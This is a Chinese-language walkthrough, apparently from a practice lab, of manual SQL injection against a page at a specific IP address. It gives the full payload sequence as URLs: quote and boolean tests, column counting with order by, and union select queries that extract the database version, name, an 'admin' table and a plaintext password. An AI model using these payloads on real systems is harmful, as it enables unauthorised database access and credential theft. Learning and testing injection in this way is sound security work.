在 http://120.203.13.75:6815/?id=1 目标站点页面发现了?id,说明可以通过查询id=1的内容来获得页面。
查询语句select * from [表名] where id = '1';
在http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为select * from 表名 where id =1';此时SQL 语句未正确结束,因此返回了一个错误页面:
继续测试 and 1=1 和 and 1=2:http://120.203.13.75:6815/?id=1 and 1=1
这相当于SQL查询语句select * from 表名 where id =1 and 1=1;
SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面:
http://120.203.13.75:6815/?id=1 and 1=2,相当于SQL查询语句select select * from 表名 where id =1 and 1=2;
SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误:
说明 SQL 语句被执行,程序没有对敏感字符进行过滤。
现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
现在判断数据库类型以及版本,构造语句:
发现返回正常页面,说明数据库是 MySQL,并且版本支持Union查询且大于4.0,反之则为4.0以下版本或者其他类型数据库。
http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
http://120.203.13.75:6815/?id=1 order by 10相当于SQL查询语句select * from [表名] where id =1 order by 10;
跳转错误,说明字段小于10
输入SQL查询语句select * from [表名] where id =1 order by 2;返回正常页面,说明字段为2。
确定字段之后,现在要构造联合查询语句 (union select)http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2
可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本、数据库名称,主要是用来探测 web 系统的信息。
查询数据库版本http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version() ,得到结果为版本号 5.5.53:
现在把 2 替换掉,先查询数据库名称,构造http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()语句,浏览器跳转返回就能够说明这个网站的数据库名称了;此时再用同样的手法查询表名,当浏览器返回admin时,说明表名为admin:
猜测密码字段,构造http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin语句,
返回成功,说明密码字段名称为Password、登录密码为hellohack。